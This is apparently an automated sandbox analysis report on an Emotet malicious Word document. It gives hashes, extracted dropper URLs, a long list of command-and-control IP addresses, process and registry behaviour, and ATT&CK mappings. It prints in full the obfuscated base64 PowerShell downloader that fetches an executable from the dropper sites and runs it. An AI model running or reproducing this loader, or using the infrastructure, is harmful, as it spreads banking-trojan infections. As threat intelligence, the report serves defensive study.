emotet | b1f8d82d19d6020ac3606afc8e0699ddde66a03ce07d5d7f6b6bc45a238084f2

General

Target
emotet_e3_b1f8d82d19d6020ac3606afc8e0699ddde66a03ce07d5d7f6b6bc45a238084f2_2020-08-27__235028._doc.doc
Size 224KB
Sample200827-235lghlsna
SHA256 b1f8d82d19d6020ac3606afc8e0699ddde66a03ce07d5d7f6b6bc45a238084f2
MD5 7836caf2b8fe6fbb1e041f682578c9ae
SHA1 75c5a2767be92e1f16675a14967a0b3b8b957b1d
SHA512 00ebe605d25c4cab8d8057beca7ae47534bc28a49d25480a020e2f1b83ed54404a106ce375a3d18b1586c92959ba6744c8dda567fbb65d1fbafb5bbd12734416
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.novachem.com.tr/wp-includes/file/HDSTwTon/
exe.dropper
http://hdfilmkurdu.tk/fwecj/w5ghXyxtzp63449/
exe.dropper
http://retrocycle.cc/wp-content/Ulgocr0611/
exe.dropper
https://pc-a.co.th/wp-admin/3cu5a279445382/
exe.dropper
https://novavitta.com.br/site/sdxrk4616/
exe.dropper
http://miniessay.net/wp-includes/YhhuqdBFmjcZ/
exe.dropper
http://pemnas.ub.ac.id/wp-content/reUfk5i84877332/

Extracted

Family

emotet

C2

24.26.151.3:80
162.144.42.60:8080
134.209.193.138:443
68.183.233.80:8080
105.209.235.113:8080
198.57.203.63:8080
175.29.183.2:80
178.87.171.199:80
177.32.8.85:80
71.57.180.213:80
190.190.15.20:80
31.146.61.34:80
157.7.164.178:8081
82.239.200.118:80
220.254.198.228:443
41.185.29.128:8080
113.161.148.81:80
51.38.201.19:7080
179.5.118.12:80
66.61.94.36:80
87.106.231.60:8080
188.0.135.237:80
189.39.32.161:80
173.94.215.84:80
81.17.93.134:80
185.86.148.68:443
190.96.15.50:80
177.144.130.105:443
168.0.97.6:80
60.125.114.64:443
50.116.78.109:8080
190.53.144.120:80
37.205.9.252:7080
115.79.195.246:80
201.235.10.215:80
75.127.14.170:8080
181.126.54.234:80
172.96.190.154:8080
192.241.220.183:8080
190.164.75.175:80
81.214.253.80:443
139.99.157.213:8080
91.75.75.46:80
46.32.229.152:8080
37.187.100.220:7080
107.161.30.122:8080
157.245.138.101:7080
5.79.70.250:8080
185.142.236.163:443
118.101.24.148:80
103.80.51.61:8080
74.208.173.91:8080
178.33.167.120:8080
185.208.226.142:8080
143.95.101.72:8080
195.201.56.70:8080
46.105.131.68:8080
192.210.217.94:8080
37.46.129.215:8080
190.212.140.6:80
91.83.93.103:443
45.182.161.17:80
95.216.205.155:8080
202.5.47.71:80
88.249.181.198:443
197.232.36.108:80
1.54.67.22:80
86.98.143.163:80
77.74.78.80:443
172.105.78.244:8080
181.137.229.1:80
179.62.238.49:80
192.163.221.191:8080
177.94.227.143:80
203.153.216.178:7080
139.59.12.63:8080
115.78.11.155:80
2.144.244.204:443
197.221.158.162:80
162.249.220.190:80
85.25.207.108:8080
201.213.177.139:80
54.38.143.245:8080
181.113.229.139:443
188.251.213.180:443
190.55.186.229:80
113.203.250.121:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	3528	powersheLL.exe	72

Blacklisted process makes network request 2 IoCs

flow	pid	Process
26	196	powersheLL.exe
28	196	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2104	K073c59.exe
1724	FXSRESM.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\FXSXP32\FXSRESM.exe	K073c59.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 36b2df56dd7cd601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3108	WINWORD.EXE
3108	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
196	powersheLL.exe
196	powersheLL.exe
196	powersheLL.exe
1724	FXSRESM.exe
1724	FXSRESM.exe
1724	FXSRESM.exe
1724	FXSRESM.exe
1724	FXSRESM.exe
1724	FXSRESM.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	508	svchost.exe
Token: SeCreatePagefilePrivilege	508	svchost.exe
Token: SeDebugPrivilege	196	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
2104	K073c59.exe
2104	K073c59.exe
1724	FXSRESM.exe
1724	FXSRESM.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 196 wrote to memory of 2104	196	powersheLL.exe	80
PID 196 wrote to memory of 2104	196	powersheLL.exe	80
PID 196 wrote to memory of 2104	196	powersheLL.exe	80
PID 2104 wrote to memory of 1724	2104	K073c59.exe	81
PID 2104 wrote to memory of 1724	2104	K073c59.exe	81
PID 2104 wrote to memory of 1724	2104	K073c59.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_b1f8d82d19d6020ac3606afc8e0699ddde66a03ce07d5d7f6b6bc45a238084f2_2020-08-27__235028._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:508

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVADQAawB2AGYAYQBtAD0AKAAnAEYAbgAnACsAKAAnAGYAMwA0ACcAKwAnAHYAJwApACsAJwBiACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVABlAE0AUABcAFcATwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAGUAYwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAGAAVQByAGkAVABZAHAAcgBPAHQAYABPAGAAQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAnACkAKwAnADEAJwArACgAJwAyACwAIAAnACsAJwB0AGwAJwApACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAFkAbwBsAGEANABpAGwAIAA9ACAAKAAnAEsAJwArACgAJwAwACcAKwAnADcAMwBjADUAJwApACsAJwA5ACcAKQA7ACQATgByAGwAZgBwAGkAYgA9ACgAKAAnAEQAZwB3ACcAKwAnAGUAJwApACsAJwAzACcAKwAnAHYAcQAnACkAOwAkAFQANgA2ADMAZQAwAGcAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAoACcAZgAzACcAKwAnAGMAdwBvAHIAJwApACsAJwBkAGYAJwArACcAMwBjACcAKwAoACcAMgAnACsAJwAwADEAJwApACsAKAAnADkAZgAzACcAKwAnAGMAJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKABbAEMASABhAFIAXQAxADAAMgArAFsAQwBIAGEAUgBdADUAMQArAFsAQwBIAGEAUgBdADkAOQApACwAJwBcACcAKQApACsAJABZAG8AbABhADQAaQBsACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQATgBqAHUAMwA0AG8AMAA9ACgAKAAnAEkAOQAnACsAJwB3ACcAKwAnADYAbgB0ACcAKQArACcANQAnACkAOwAkAEwAdgB1AHcAdwA5AHYAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAGIAYwBsAEkAZQBOAHQAOwAkAFoAeQBqAGoAdAAxAGkAPQAoACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoAJwArACcALwAvAHcAdwB3ACcAKQArACgAJwAuACcAKwAnAG4AbwB2AGEAYwAnACkAKwAoACcAaABlACcAKwAnAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0AJwArACcALgB0ACcAKQArACcAcgAvACcAKwAoACcAdwBwAC0AaQBuACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBkACcAKQArACgAJwBlACcAKwAnAHMALwBmACcAKQArACgAJwBpAGwAJwArACcAZQAvACcAKwAnAEgARAAnACkAKwAoACcAUwBUACcAKwAnAHcAJwApACsAKAAnAFQAJwArACcAbwBuAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAaABkAGYAJwArACcAaQBsAG0AJwArACcAawB1AHIAZAB1AC4AdAAnACsAJwBrAC8AJwArACcAZgAnACkAKwAnAHcAJwArACcAZQAnACsAKAAnAGMAagAvAHcANQAnACsAJwBnAGgAJwApACsAKAAnAFgAeQB4AHQAJwArACcAegBwACcAKQArACgAJwA2ADMAJwArACcANAAnACkAKwAoACcANAA5ACcAKwAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAcgAnACsAJwBlAHQAcgAnACkAKwAoACcAbwBjAHkAJwArACcAYwBsAGUALgBjACcAKQArACgAJwBjAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAbwBuAHQAZQBuAHQALwAnACsAJwBVACcAKwAnAGwAJwApACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHIAJwApACsAKAAnADAANgAxACcAKwAnADEALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAoACcAcABzACcAKwAnADoAJwApACsAKAAnAC8ALwBwAGMAJwArACcALQAnACkAKwAnAGEAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcALgB0AGgALwB3AHAAJwArACcALQAnACsAJwBhACcAKQArACcAZABtACcAKwAoACcAaQAnACsAJwBuAC8AJwApACsAJwAzAGMAJwArACcAdQAnACsAKAAnADUAYQAnACsAJwAyACcAKQArACcANwA5ACcAKwAoACcANAAnACsAJwA0ADUAMwA4ACcAKQArACgAJwAyACcAKwAnAC8AKgAnACsAJwBoAHQAdABwACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBuACcAKwAnAG8AdgBhAHYAaQB0AHQAJwArACcAYQAuAGMAJwArACcAbwAnACsAJwBtAC4AYgByAC8AJwApACsAKAAnAHMAaQB0AGUAJwArACcALwBzACcAKwAnAGQAJwApACsAJwB4AHIAJwArACgAJwBrADQAJwArACcANgAnACkAKwAnADEANgAnACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAcAA6ACcAKwAnAC8ALwBtACcAKwAnAGkAbgBpAGUAcwAnACsAJwBzACcAKQArACcAYQAnACsAJwB5AC4AJwArACcAbgBlACcAKwAnAHQALwAnACsAKAAnAHcAcAAnACsAJwAtAGkAbgAnACsAJwBjAGwAdQAnACkAKwAoACcAZABlACcAKwAnAHMALwBZAGgAaAB1ACcAKQArACgAJwBxAGQAJwArACcAQgBGAG0AJwArACcAagBjAFoALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcABlACcAKwAnAG0AJwArACcAbgAnACkAKwAnAGEAJwArACgAJwBzAC4AdQAnACsAJwBiAC4AJwArACcAYQBjAC4AJwApACsAJwBpACcAKwAnAGQAJwArACcALwB3ACcAKwAnAHAAJwArACgAJwAtACcAKwAnAGMAbwAnACsAJwBuAHQAZQBuAHQAJwArACcALwByAGUAVQBmAGsANQAnACkAKwAoACcAaQA4ACcAKwAnADQAJwApACsAKAAnADgAJwArACcANwA3ADMAJwApACsAJwAzACcAKwAnADIAJwArACcALwAnACkALgAiAHMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVwBpAGQAeQB6AGgAaAA9ACgAJwBJACcAKwAoACcAYwB4AHgAJwArACcAMAA5ACcAKwAnAHYAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAHEAYwBvADkAYwBnACAAaQBuACAAJABaAHkAagBqAHQAMQBpACkAewB0AHIAeQB7ACQATAB2AHUAdwB3ADkAdgAuACIAZABPAFcAYABOAGwAbwBgAEEAZABGAEkAbABlACIAKAAkAEkAcQBjAG8AOQBjAGcALAAgACQAVAA2ADYAMwBlADAAZwApADsAJABOAGYAawA1AGoAZwBqAD0AKAAoACcATgAnACsAJwAwADQAJwApACsAJwByAHcAJwArACcAZwAxACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABUADYANgAzAGUAMABnACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwAyADAANgAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQANgA2ADMAZQAwAGcAKQA7ACQAUQBqAHUAcwA0AGIAbAA9ACgAKAAnAE8AJwArACcAcQAxACcAKQArACgAJwAyACcAKwAnAG0AcAAnACkAKwAnAHAAJwApADsAYgByAGUAYQBrADsAJABVAG0AaQBqAGEAMQAxAD0AKAAnAFoAJwArACcAZQAnACsAKAAnADIAJwArACcAbwAxAG8AZgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAGwAegBiAG0AMQA9ACgAKAAnAFkAMwAnACsAJwAxADEAdABuACcAKQArACcAZwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196
- C:\Users\Admin\AppData\Local\Temp\word\2019\K073c59.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\K073c59.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\FXSXP32\FXSRESM.exe
    "C:\Windows\SysWOW64\FXSXP32\FXSRESM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/196-9-0x00007FFA64200000-0x00007FFA64BEC000-memory.dmp

Download

memory/196-10-0x0000018BE8990000-0x0000018BE8991000-memory.dmp

Download

memory/196-11-0x0000018BE8C50000-0x0000018BE8C51000-memory.dmp

Download

memory/1724-18-0x0000000002040000-0x000000000204C000-memory.dmp

Download

memory/2104-15-0x0000000002330000-0x000000000233C000-memory.dmp

Download

memory/3108-0-0x00007FFA6B450000-0x00007FFA6BB16000-memory.dmp

Download

memory/3108-4-0x000001FE28C72000-0x000001FE28C77000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads